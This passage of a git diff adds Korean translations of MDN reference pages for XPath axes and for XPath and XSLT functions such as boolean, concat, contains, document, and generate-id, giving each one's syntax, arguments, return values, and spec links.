+  (지원 안 함)</i>
+</p>
+<p><code>namespace</code> 축은 문맥 노드 범위(scope) 안에 있는 모든 노드를 나타냅니다. 이 경우에, 문맥 노드는 요소 노드이어야 합니다.</p>
diff --git a/files/ko/web/xpath/axes/parent/index.html b/files/ko/web/xpath/axes/parent/index.html
new file mode 100644
index 0000000000..7dc175f09a
--- /dev/null
+++ b/files/ko/web/xpath/axes/parent/index.html
@@ -0,0 +1,6 @@
+---
+title: parent
+slug: Web/XPath/Axes/parent
+translation_of: Web/XPath/Axes/parent
+---
+<p><code>parent</code> 축은 문맥 노드의 부모 노드만을 나타냅니다. 마침표 둘(..)로 줄여 쓸 수 있습니다.</p>
diff --git a/files/ko/web/xpath/axes/preceding-sibling/index.html b/files/ko/web/xpath/axes/preceding-sibling/index.html
new file mode 100644
index 0000000000..1392c91ad0
--- /dev/null
+++ b/files/ko/web/xpath/axes/preceding-sibling/index.html
@@ -0,0 +1,6 @@
+---
+title: preceding-sibling
+slug: Web/XPath/Axes/preceding-sibling
+translation_of: Web/XPath/Axes/preceding-sibling
+---
+<p><code>preceding-sibling</code> 축은 문맥 노드와 부모가 같고 소스 문서에서 문맥 노드 앞에 나오는 모든 노드를 나타냅니다.</p>
diff --git a/files/ko/web/xpath/axes/preceding/index.html b/files/ko/web/xpath/axes/preceding/index.html
new file mode 100644
index 0000000000..5ed262df52
--- /dev/null
+++ b/files/ko/web/xpath/axes/preceding/index.html
@@ -0,0 +1,6 @@
+---
+title: preceding
+slug: Web/XPath/Axes/preceding
+translation_of: Web/XPath/Axes/preceding
+---
+<p><code>preceding</code> 축은 조상, 속성, 이름공간 노드를 제외한 문서 안에서 문맥 노드를 앞선 모든 노드를 나타냅니다.</p>
diff --git a/files/ko/web/xpath/axes/self/index.html b/files/ko/web/xpath/axes/self/index.html
new file mode 100644
index 0000000000..a2835581b4
--- /dev/null
+++ b/files/ko/web/xpath/axes/self/index.html
@@ -0,0 +1,6 @@
+---
+title: self
+slug: Web/XPath/Axes/self
+translation_of: Web/XPath/Axes/self
+---
+<p><code>self</code> 축은 문맥 노드 자신를 나타냅니다. 마침표 하나(.)로 줄여 쓸 수 있습니다.</p>
diff --git a/files/ko/web/xpath/functions/boolean/index.html b/files/ko/web/xpath/functions/boolean/index.html
new file mode 100644
index 0000000000..2259c3e313
--- /dev/null
+++ b/files/ko/web/xpath/functions/boolean/index.html
@@ -0,0 +1,39 @@
+---
+title: boolean
+slug: Web/XPath/Functions/boolean
+tags:
+  - XSLT_Reference
+translation_of: Web/XPath/Functions/boolean
+---
+<p>{{ XsltRef() }}</p>
+<p> </p>
+<p><code>boolean</code> 함수는 식을 평가하고 참이나 거짓을 반환합니다.</p>
+<h3 id=".EB.AC.B8.EB.B2.95" name=".EB.AC.B8.EB.B2.95">문법</h3>
+<pre class="eval">boolean(<i>expression</i> )
+</pre>
+<h3 id=".EC.9D.B8.EC.88.98" name=".EC.9D.B8.EC.88.98">인수</h3>
+<dl>
+ <dt>
+  <code>
+  <i>
+   expression</i>
+  </code></dt>
+ <dd>
+  평가하는 식. 식은 부울 뿐만 아니라 수와 노드 집합도 참조할 수 있습니다.</dd>
+</dl>
+<h3 id=".EB.B0.98.ED.99.98" name=".EB.B0.98.ED.99.98">반환</h3>
+<p><code>
+ <i>
+  expression</i>
+ </code>을 평가한 뒤 부울값 <code>true</code>나 <code>false</code>.</p>
+<h3 id=".EC.A3.BC.EC.9D.98" name=".EC.A3.BC.EC.9D.98">주의</h3>
+<ul>
+ <li>수가 (+/-) 0이나 <code>NaN</code>이면 false로 평가합니다. 그렇지 않으면, true로 평가합니다.</li>
+ <li>노드 집합이 비어 있으면 true로 평가합니다.</li>
+ <li>문자열이 비어 있으면 false로 평가합니다. 그렇지 않으면, true로 평가합니다.</li>
+ <li>네 가지 기본 타입 이외의 타입 개체는 그 타입 나름의 방법으로 부울로 변환합니다.</li>
+</ul>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xpath#function-boolean">XPath 1.0 4.3</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>지원함.</p>
diff --git a/files/ko/web/xpath/functions/ceiling/index.html b/files/ko/web/xpath/functions/ceiling/index.html
new file mode 100644
index 0000000000..cd671738fa
--- /dev/null
+++ b/files/ko/web/xpath/functions/ceiling/index.html
@@ -0,0 +1,41 @@
+---
+title: ceiling
+slug: Web/XPath/Functions/ceiling
+tags:
+  - XSLT_Reference
+translation_of: Web/XPath/Functions/ceiling
+---
+<p>{{ XsltRef() }}</p>
+<p><br>
+ <code>ceiling</code> 함수는 10진수를 평가하고 10진수보다 작지 않은 가장 작은 정수를 반환합니다.</p>
+<h3 id=".EB.AC.B8.EB.B2.95" name=".EB.AC.B8.EB.B2.95">문법</h3>
+<pre class="eval">ceiling(<i>number</i> )
+</pre>
+<h3 id=".EC.9D.B8.EC.88.98" name=".EC.9D.B8.EC.88.98">인수</h3>
+<dl>
+ <dt>
+  <code>
+  <i>
+   number</i>
+  </code></dt>
+ <dd>
+  평가할 수.</dd>
+</dl>
+<h3 id=".EB.B0.98.ED.99.98" name=".EB.B0.98.ED.99.98">반환</h3>
+<p><code>
+ <i>
+  number</i>
+ </code>보다 작지 않은 가장 작은 정수.</p>
+<p>예를 들어,</p>
+<p><code>    ceiling (
+ <i>
+  5.2</i>
+ )</code> = <var>6</var></p>
+<p><code>    ceiling (
+ <i>
+  -5.2</i>
+ )</code> = <var>-5</var></p>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xpath#function-ceiling">XPath 1.0 4.4</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>지원함.</p>
diff --git a/files/ko/web/xpath/functions/concat/index.html b/files/ko/web/xpath/functions/concat/index.html
new file mode 100644
index 0000000000..82162ff93a
--- /dev/null
+++ b/files/ko/web/xpath/functions/concat/index.html
@@ -0,0 +1,29 @@
+---
+title: concat
+slug: Web/XPath/Functions/concat
+tags:
+  - XSLT_Reference
+translation_of: Web/XPath/Functions/concat
+---
+<p>{{ XsltRef() }}</p>
+<p><br>
+ <code>concat</code> 함수는 둘 또는 둘 이상의 문자열을 연결하고 연결한 문자열을 반환합니다.</p>
+<h3 id=".EB.AC.B8.EB.B2.95" name=".EB.AC.B8.EB.B2.95">문법</h3>
+<pre class="eval">concat(<i>string<sub>1</sub></i> ,<i>string<sub>2</sub></i> [,<i>string<sub>n</sub></i>]* )
+</pre>
+<h3 id=".EC.9D.B8.EC.88.98" name=".EC.9D.B8.EC.88.98">인수</h3>
+<dl>
+ <dt>
+  <code>
+  <i>
+   string<sub>n</sub></i>
+  </code></dt>
+ <dd>
+  이 함수는 둘 또는 둘 이상의 인수를 받습니다. 각각은 문자열입니다.</dd>
+</dl>
+<h3 id=".EB.B0.98.ED.99.98" name=".EB.B0.98.ED.99.98">반환</h3>
+<p>함수에 인수로 건넨 모든 문자열을 연결한 단일 문자열.</p>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xpath#function-concat">XPath 1.0 4.2</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>지원함.</p>
diff --git a/files/ko/web/xpath/functions/contains/index.html b/files/ko/web/xpath/functions/contains/index.html
new file mode 100644
index 0000000000..360e5dc39c
--- /dev/null
+++ b/files/ko/web/xpath/functions/contains/index.html
@@ -0,0 +1,47 @@
+---
+title: contains
+slug: Web/XPath/Functions/contains
+tags:
+  - XSLT_Reference
+translation_of: Web/XPath/Functions/contains
+---
+<p>{{ XsltRef() }}</p>
+<p><br>
+ <code>contains</code> 함수는 첫 번째 인수 문자열이 두 번째 인수 문자열을 포함하는지 결정하고 부울값 true 또는 false를 반환합니다.</p>
+<h3 id=".EB.AC.B8.EB.B2.95" name=".EB.AC.B8.EB.B2.95">문법</h3>
+<pre class="eval">contains(<i>haystack</i> ,<i>needle</i> )
+</pre>
+<h3 id=".EC.9D.B8.EC.88.98" name=".EC.9D.B8.EC.88.98">인수</h3>
+<dl>
+ <dt>
+  <code>
+  <i>
+   haystack</i>
+  </code></dt>
+ <dd>
+  찾을 문자열</dd>
+</dl>
+<dl>
+ <dt>
+  <code>
+  <i>
+   needle</i>
+  </code></dt>
+ <dd>
+  첫 번째 인수(<code>
+  <i>
+   haystack</i>
+  </code>)에서 찾을 부분 문자열</dd>
+</dl>
+<h3 id=".EB.B0.98.ED.99.98" name=".EB.B0.98.ED.99.98">반환</h3>
+<p>첫 번째 인수(<code>
+ <i>
+  haystack</i>
+ </code>)가 두 번째 인수(<code>
+ <i>
+  needle</i>
+ </code>)를 포함하면 <code>true</code>. 그렇지 않으면, <code>false</code>.</p>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xpath#function-contains">XPath 1.0 4.2</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>지원함.</p>
diff --git a/files/ko/web/xpath/functions/count/index.html b/files/ko/web/xpath/functions/count/index.html
new file mode 100644
index 0000000000..0bed0a6e26
--- /dev/null
+++ b/files/ko/web/xpath/functions/count/index.html
@@ -0,0 +1,29 @@
+---
+title: count
+slug: Web/XPath/Functions/count
+tags:
+  - XSLT_Reference
+translation_of: Web/XPath/Functions/count
+---
+<p>{{ XsltRef() }}</p>
+<p><br>
+ <code>count</code> 함수는 노드 집합의 노드 수를 세고 나서 정수로 반환합니다.</p>
+<h3 id=".EB.AC.B8.EB.B2.95" name=".EB.AC.B8.EB.B2.95">문법</h3>
+<pre class="eval">count(<i>node-set</i> )
+</pre>
+<h3 id=".EC.9D.B8.EC.88.98" name=".EC.9D.B8.EC.88.98">인수</h3>
+<dl>
+ <dt>
+  <code>
+  <i>
+   node-set</i>
+  </code></dt>
+ <dd>
+  셀 노드 집합.</dd>
+</dl>
+<h3 id=".EB.B0.98.ED.99.98" name=".EB.B0.98.ED.99.98">반환</h3>
+<p>노드 집합의 노드 수를 나타내는 정수.</p>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xpath#function-count">1.0 4.1</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>지원함.</p>
diff --git a/files/ko/web/xpath/functions/current/index.html b/files/ko/web/xpath/functions/current/index.html
new file mode 100644
index 0000000000..e08a75a379
--- /dev/null
+++ b/files/ko/web/xpath/functions/current/index.html
@@ -0,0 +1,61 @@
+---
+title: current
+slug: Web/XPath/Functions/current
+tags:
+  - XSLT_Reference
+translation_of: Web/XPath/Functions/current
+---
+<p>{{ XsltRef() }}</p>
+
+<p><code>current</code> 함수는 XSLT 명령에서 문맥 노드를 얻는 데 쓸 수 있습니다.</p>
+
+<h3 id=".EB.AC.B8.EB.B2.95" name=".EB.AC.B8.EB.B2.95">문법</h3>
+
+<pre class="eval">current()
+</pre>
+
+<h3 id=".EB.B0.98.ED.99.98" name=".EB.B0.98.ED.99.98">반환</h3>
+
+<p>오직 현재 노드만을 포함하는 노드 집합.</p>
+
+<h3 id=".EC.A3.BC.EC.9D.98" name=".EC.A3.BC.EC.9D.98">주의</h3>
+
+<p>이 함수는 XPath에 더한 XSLT 고유 추가분입니다. 기본 XPath 함수 라이브러리의 일부가 아닙니다.</p>
+
+<article>
+<p>For an outermost expression (an expression not occurring within another expression), the current node is always the same as the context node (which will be returned by the <code>.</code> or <code>self</code> syntax). The following two are symantically equivalent.</p>
+
+<pre><code>&lt;xsl:value-of select="current()"/&gt;</code></pre>
+
+<pre><code>&lt;xsl:value-of select="."/&gt;</code></pre>
+
+<p>In an inner expression (e.g. in square brackets), the current node is still the same as it would have been in an outermost expression. Thus within all of the following three expressions the <code>current</code> function (not the entire expressions) returns the same node. Moreover, the latter two are semantically equivalent.</p>
+
+<pre><code>&lt;xsl:value-of select="current()"/&gt;</code></pre>
+
+<pre><code>&lt;xsl:value-of select="foo/bar[current() = X]"/&gt;</code></pre>
+
+<pre><code>&lt;xsl:variable name="current" select="current()"/&gt;
+&lt;xsl:value-of select="foo/bar[$current = X]"/&gt;</code></pre>
+
+<p>And the next code is also semantically equivalent to the latter two, since the <code>.</code> occurs in an outermost expression.</p>
+
+<pre><code>&lt;xsl:variable name="current" select="."/&gt;
+&lt;xsl:value-of select="foo/bar[$current = X]"/&gt;</code></pre>
+
+<p>But the <code>.</code> always relate to the narrowest context. Thus in</p>
+
+<pre><code>&lt;xsl:value-of select="foo/bar[. = X]"/&gt;</code></pre>
+
+<p>the <code>.</code> returns the <code>bar</code> node, which may be different from the current node.</p>
+</article>
+
+<p> </p>
+
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+
+<p><a class="external" href="http://www.w3.org/TR/xslt#function-current">XSLT 1.0 12.4</a></p>
+
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+
+<p>지원함.</p>
diff --git a/files/ko/web/xpath/functions/document/index.html b/files/ko/web/xpath/functions/document/index.html
new file mode 100644
index 0000000000..934af02195
--- /dev/null
+++ b/files/ko/web/xpath/functions/document/index.html
@@ -0,0 +1,61 @@
+---
+title: document
+slug: Web/XPath/Functions/document
+tags:
+  - XSLT_Reference
+translation_of: Web/XPath/Functions/document
+---
+<p>{{ XsltRef() }}</p>
+<p><br>
+ <code>document</code> 함수는 하나 또는 여러 외부 문서에서 노드 집합을 찾고 결과 노드 집합을 반환합니다.</p>
+<h3 id=".EB.AC.B8.EB.B2.95" name=".EB.AC.B8.EB.B2.95">문법</h3>
+<pre class="eval">document(<i>URI</i> [,<i>node-set</i>] )
+</pre>
+<h3 id=".EC.9D.B8.EC.88.98" name=".EC.9D.B8.EC.88.98">인수</h3>
+<dl>
+ <dt>
+  <code>
+  <i>
+   URI</i>
+  </code></dt>
+ <dd>
+  검색하는 문서의 절대 또는 상대 URI. URI는 또한 조각 인식자(fragment identifier)를 포함할지도 모릅니다.</dd>
+</dl>
+<dl>
+ <dt>
+  <code>
+  <i>
+   node-set</i>
+  </code> (선택사항)</dt>
+ <dd>
+  반환하게 될 외부 문서의 노드 집합을 가리키는 식.</dd>
+</dl>
+<h3 id=".EB.B0.98.ED.99.98" name=".EB.B0.98.ED.99.98">반환</h3>
+<p>노드 집합.</p>
+<h3 id=".EC.A3.BC.EC.9D.98" name=".EC.A3.BC.EC.9D.98">주의</h3>
+<ul>
+ <li>URI가 조각 인식자를 포함하고 그 조각이 외부 문서에서 인식될 수 있으면, 그 조각은 <code>
+  <i>
+   node-set</i>
+  </code> 인수식에서 루트로 다룹니다. <code>
+  <i>
+   node-set</i>
+  </code> 인수를 빼면, 전체 조각을 반환합니다.</li>
+</ul>
+<ul>
+ <li><code>
+  <i>
+   URI</i>
+  </code> 인수가 노드 집합이고 두 번째 인수가 있으면, 노드 집합의 각 노드를 개별 URI로 평가하고 반환한 노드 집합은 마치 <code>document</code> 함수가 여러 번 호출되어 결과 노드 집합이 단일 노드 집합으로 합쳐진 것 같이 됩니다.</li>
+</ul>
+<ul>
+ <li>다른 특정 조건은 지정한 behavior와 함께 있습니다. 자세한 사항은 XSLT 1.0 문서를 보세요.</li>
+</ul>
+<ul>
+ <li>URI가 XSL 문서와 호응하기 때문에, <code>document("")</code>는 현재 노드의 루트 노드를 반환할 겁니다.</li>
+</ul>
+<p>이 함수는 XPath에 더한 XSLT 고유 추가분입니다. 기본 XPath 함수 라이브러리의 일부가 아닙니다.</p>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xslt#function-document">XSLT 1.0 12.1</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>지원함.</p>
diff --git a/files/ko/web/xpath/functions/element-available/index.html b/files/ko/web/xpath/functions/element-available/index.html
new file mode 100644
index 0000000000..bb236437e0
--- /dev/null
+++ b/files/ko/web/xpath/functions/element-available/index.html
@@ -0,0 +1,29 @@
+---
+title: element-available
+slug: Web/XPath/Functions/element-available
+tags:
+  - XSLT_Reference
+translation_of: Web/XPath/Functions/element-available
+---
+<p>{{ XsltRef() }}</p>
+<p><br>
+ <code>element-available</code> 함수는 요소가 이용 가능한 지를 결정하고 true나 false를 반환합니다.</p>
+<h3 id=".EA.B5.AC.EB.AC.B8" name=".EA.B5.AC.EB.AC.B8">구문</h3>
+<pre class="eval">element-available(<i>QName</i> )
+</pre>
+<h3 id=".EC.9D.B8.EC.88.98" name=".EC.9D.B8.EC.88.98">인수</h3>
+<dl>
+ <dt>
+  <code>
+  <i>
+   QName</i>
+  </code></dt>
+ <dd>
+  유효한 QName으로 평가해야 합니다. QName은 식 범위(scope)에서 이름공간 선언을 써서 확장 이름으로 확장됩니다.</dd>
+</dl>
+<h3 id=".EB.B0.98.ED.99.98" name=".EB.B0.98.ED.99.98">반환</h3>
+<p>만약 확장 이름이 명령 이름이면 true를 반환합니다. 만약 확장 이름에 XSLT 이름공간 URI와 같은 이름공간 URI이 있으면, XSLT로 정의된 요소를 참조합니다. 그렇지 않으면, extension 요소를 참조합니다. 만약 확장 이름에 null 이름공간 URI가 있으면, element-available 함수는 false를 반환합니다.</p>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xslt#function-element-available">XSLT 1.0 15</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>지원함.</p>
diff --git a/files/ko/web/xpath/functions/false/index.html b/files/ko/web/xpath/functions/false/index.html
new file mode 100644
index 0000000000..a29953f4c3
--- /dev/null
+++ b/files/ko/web/xpath/functions/false/index.html
@@ -0,0 +1,25 @@
+---
+title: 'false'
+slug: Web/XPath/Functions/false
+tags:
+  - XSLT_Reference
+translation_of: Web/XPath/Functions/false
+---
+<p>{{ XsltRef() }}</p>
+<p><br>
+ <code>false</code> 함수는 boolean false를 반환합니다.</p>
+<h3 id=".EA.B5.AC.EB.AC.B8" name=".EA.B5.AC.EB.AC.B8">구문</h3>
+<pre class="eval">false()
+</pre>
+<h3 id=".EB.B0.98.ED.99.98" name=".EB.B0.98.ED.99.98">반환</h3>
+<p>Boolean <code>false</code>.</p>
+<h3 id=".EC.A3.BC.EC.9D.98" name=".EC.A3.BC.EC.9D.98">주의</h3>
+<p>이 함수는 비교(comparison)하는 부분에 쓸모가 있습니다.</p>
+<pre class="eval">&lt;xsl:if test="boolean((1 &amp;gt; 2) = false())"&gt;
+ The expression evaluates as true
+&lt;/xsl:if&gt;
+</pre>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xpath#function-false">XPath 1.0 4.3</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>지원함.</p>
diff --git a/files/ko/web/xpath/functions/floor/index.html b/files/ko/web/xpath/functions/floor/index.html
new file mode 100644
index 0000000000..ead261d1ec
--- /dev/null
+++ b/files/ko/web/xpath/functions/floor/index.html
@@ -0,0 +1,32 @@
+---
+title: floor
+slug: Web/XPath/Functions/floor
+tags:
+  - XSLT_Reference
+translation_of: Web/XPath/Functions/floor
+---
+<p>{{ XsltRef() }}</p>
+<p><br>
+ <code>floor</code> 함수는 10진수를 평가하고 10진수보다 크지 않는(작거나 같은) 가장 큰 정수를 반환합니다.</p>
+<h3 id=".EA.B5.AC.EB.AC.B8" name=".EA.B5.AC.EB.AC.B8">구문</h3>
+<pre class="eval">floor(<i>number</i> )
+</pre>
+<h3 id=".EC.9D.B8.EC.88.98" name=".EC.9D.B8.EC.88.98">인수</h3>
+<dl>
+ <dt>
+  <code>
+  <i>
+   number</i>
+  </code></dt>
+ <dd>
+  평가할 10진수.</dd>
+</dl>
+<h3 id=".EB.B0.98.ED.99.98" name=".EB.B0.98.ED.99.98">반환</h3>
+<p><code>
+ <i>
+  number</i>
+ </code>보다 크지 않는 가장 큰 정수.</p>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xpath#function-floor">XPath 1.0 4.4</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>지원함.</p>
diff --git a/files/ko/web/xpath/functions/format-number/index.html b/files/ko/web/xpath/functions/format-number/index.html
new file mode 100644
index 0000000000..38b5df5e1c
--- /dev/null
+++ b/files/ko/web/xpath/functions/format-number/index.html
@@ -0,0 +1,49 @@
+---
+title: format-number
+slug: Web/XPath/Functions/format-number
+tags:
+  - XSLT_Reference
+translation_of: Web/XPath/Functions/format-number
+---
+<p>{{ XsltRef() }}</p>
+<p><br>
+ <code>format-number</code> 함수는 수를 평가하고 제공한 형식으로 그 수를 나타내는 문자열을 반환합니다.</p>
+<h3 id=".EB.AC.B8.EB.B2.95" name=".EB.AC.B8.EB.B2.95">문법</h3>
+<pre class="eval">format-number(<i>number</i> ,<i>pattern</i> [,<i>decimal-format</i>] )
+</pre>
+<h3 id=".EC.9D.B8.EC.88.98" name=".EC.9D.B8.EC.88.98">인수</h3>
+<dl>
+ <dt>
+  <code>
+  <i>
+   number</i>
+  </code></dt>
+ <dd>
+  형식을 지정할 수</dd>
+</dl>
+<dl>
+ <dt>
+  <code>
+  <i>
+   pattern</i>
+  </code></dt>
+ <dd>
+  JDK 1.1 <a class="external" href="http://java.sun.com/products/jdk/1.1/docs/api/java.text.DecimalFormat.html">Decimal Format</a> 클래스 형식의 문자열.</dd>
+</dl>
+<dl>
+ <dt>
+  <code>
+  <i>
+   decimal-format</i>
+  </code> (선택사항)</dt>
+ <dd>
+  쓸 수 형식을 정의하는 <code><a href="ko/XSLT/decimal-format"> xsl:decimal-format</a></code> 요소의 이름. 빼면, 기본 decimal-format을 씁니다.</dd>
+</dl>
+<h3 id=".EB.B0.98.ED.99.98" name=".EB.B0.98.ED.99.98">반환</h3>
+<p>새 형식으로 수를 나타내는 문자열.</p>
+<h3 id=".EC.A3.BC.EC.9D.98" name=".EC.A3.BC.EC.9D.98">주의</h3>
+<p>이 함수는 XPath에 더한 XSLT 고유 추가분입니다. 기본 XPath 함수 라이브러리의 일부가 아닙니다.</p>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xslt#function-format-number">XSLT 1.0 12.3</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>지원함.</p>
diff --git a/files/ko/web/xpath/functions/function-available/index.html b/files/ko/web/xpath/functions/function-available/index.html
new file mode 100644
index 0000000000..421c97554a
--- /dev/null
+++ b/files/ko/web/xpath/functions/function-available/index.html
@@ -0,0 +1,29 @@
+---
+title: function-available
+slug: Web/XPath/Functions/function-available
+tags:
+  - XSLT_Reference
+translation_of: Web/XPath/Functions/function-available
+---
+<p>{{ XsltRef() }}</p>
+<p><br>
+ <code>function-available</code> 함수는 인수로 준 함수가 이용 가능한 지를 결정하고 boolean true나 false를 반환합니다.</p>
+<h3 id=".EA.B5.AC.EB.AC.B8" name=".EA.B5.AC.EB.AC.B8">구문</h3>
+<pre class="eval">function-available(<i>name</i> )
+</pre>
+<h3 id=".EC.9D.B8.EC.88.98" name=".EC.9D.B8.EC.88.98">인수</h3>
+<dl>
+ <dt>
+  <code>
+  <i>
+   name</i>
+  </code></dt>
+ <dd>
+  검사할 함수 이름.</dd>
+</dl>
+<h3 id=".EB.B0.98.ED.99.98" name=".EB.B0.98.ED.99.98">반환</h3>
+<p>Boolean <code>true</code>나 <code>false</code>.</p>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xslt#function-function-available">XPath 1.0 15</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>지원함.</p>
diff --git a/files/ko/web/xpath/functions/generate-id/index.html b/files/ko/web/xpath/functions/generate-id/index.html
new file mode 100644
index 0000000000..f491f03c78
--- /dev/null
+++ b/files/ko/web/xpath/functions/generate-id/index.html
@@ -0,0 +1,37 @@
+---
+title: generate-id
+slug: Web/XPath/Functions/generate-id
+tags:
+  - XSLT_Reference
+translation_of: Web/XPath/Functions/generate-id
+---
+<p>{{ XsltRef() }}</p>
+<p><br>
+ <code>generate-id</code> 함수는 제공한 노드 집합의 첫 노드를 위한 유일한 id를 만들고 그 id를 포함하는 문자열을 반환합니다.</p>
+<h3 id=".EB.AC.B8.EB.B2.95" name=".EB.AC.B8.EB.B2.95">문법</h3>
+<pre class="eval">generate-id( [<i>node-set</i>] )
+</pre>
+<h3 id=".EC.9D.B8.EC.88.98" name=".EC.9D.B8.EC.88.98">인수</h3>
+<dl>
+ <dt>
+  <code>
+  <i>
+   node-set</i>
+  </code> (선택사항)</dt>
+ <dd>
+  id는 이 노드 집합의 첫 노드를 위해 만듭니다. 빼면, 현재 문맥 노드를 씁니다.</dd>
+</dl>
+<h3 id=".EB.B0.98.ED.99.98" name=".EB.B0.98.ED.99.98">반환</h3>
+<p>만든 id를 포함하는 문자열.</p>
+<h3 id=".EC.A3.BC.EC.9D.98" name=".EC.A3.BC.EC.9D.98">주의</h3>
+<ul>
+ <li>현재 변환에서 현재 문서의 같은 노드에는 매번 같은 id를 만들어야 합니다.</li>
+</ul>
+<ul>
+ <li>만든 id는 그 뒤 변환에서는 같지 않을 지도 모릅니다.</li>
+</ul>
+<p>이 함수는 XPath에 더한 XSLT 고유 추가분입니다. 기본 XPath 함수 라이브러리의 일부가 아닙니다.</p>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xslt#function-generate-id">XSLT 1.0 12.4</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>지원함.</p>
diff --git a/files/ko/web/xpath/functions/id/index.html b/files/ko/web/xpath/functions/id/index.html
new file mode 100644
index 0000000000..a5ab5ecab7
--- /dev/null
+++ b/files/ko/web/xpath/functions/id/index.html
@@ -0,0 +1,46 @@
+---
+title: id
+slug: Web/XPath/Functions/id
+tags:
+  - XSLT_Reference
+translation_of: Web/XPath/Functions/id
+---
+<p>{{ XsltRef() }}</p>
+<p><br>
+ <code>id</code> 함수는 인수로 준 id와 일치하는 노드를 찾아 그 식별된 노드를 포함하는 노드 집합을 반환합니다.</p>
+<h3 id=".EA.B5.AC.EB.AC.B8" name=".EA.B5.AC.EB.AC.B8">구문</h3>
+<pre class="eval">id(<i>expression</i> )
+</pre>
+<h3 id=".EC.9D.B8.EC.88.98" name=".EC.9D.B8.EC.88.98">인수</h3>
+<dl>
+ <dt>
+  <code>
+  <i>
+   expression</i>
+  </code></dt>
+ <dd>
+  만약 <code>
+  <i>
+   expression</i>
+  </code>이 노드 집합이면, 노드 집합 안 각 노드의 문자열 값은 개별 id로 다룹니다. 반환하는 노드 집합은 그 id와 대응하는 노드입니다.</dd>
+</dl>
+<dl>
+ <dd>
+  만약 <code>
+  <i>
+   expression</i>
+  </code>이 문자열이나, 노드 집합이 아닌 어떤 거라면, <code>
+  <i>
+   expression</i>
+  </code>은 공백으로 구분된 id 목록으로 다룹니다. 반환하는 노드 집합은 그 id와 대응하는 노드입니다.</dd>
+</dl>
+<h3 id=".EB.B0.98.ED.99.98" name=".EB.B0.98.ED.99.98">반환</h3>
+<p>그 노드를 포함하는 노드 집합이나 인수로 준 id로 식별된 노드.</p>
+<h3 id=".EC.A3.BC.EC.9D.98" name=".EC.A3.BC.EC.9D.98">주의</h3>
+<ul>
+ <li>XML 문서의 DTD가 어떤 속성이 ID인지를 결정합니다. <a class="external" href="http://www.w3.org/TR/xpath#unique-id">XPath 1.0 5.2.1</a>를 보세요.</li>
+</ul>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xpath#function-id">XPath 1.0 4.1</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>부분 지원함.</p>
diff --git a/files/ko/web/xpath/functions/index.html b/files/ko/web/xpath/functions/index.html
new file mode 100644
index 0000000000..ca47e6de8b
--- /dev/null
+++ b/files/ko/web/xpath/functions/index.html
@@ -0,0 +1,74 @@
+---
+title: Functions
+slug: Web/XPath/Functions
+tags:
+  - XPath
+  - XPath_Reference
+  - XSLT_Reference
+translation_of: Web/XPath/Functions
+---
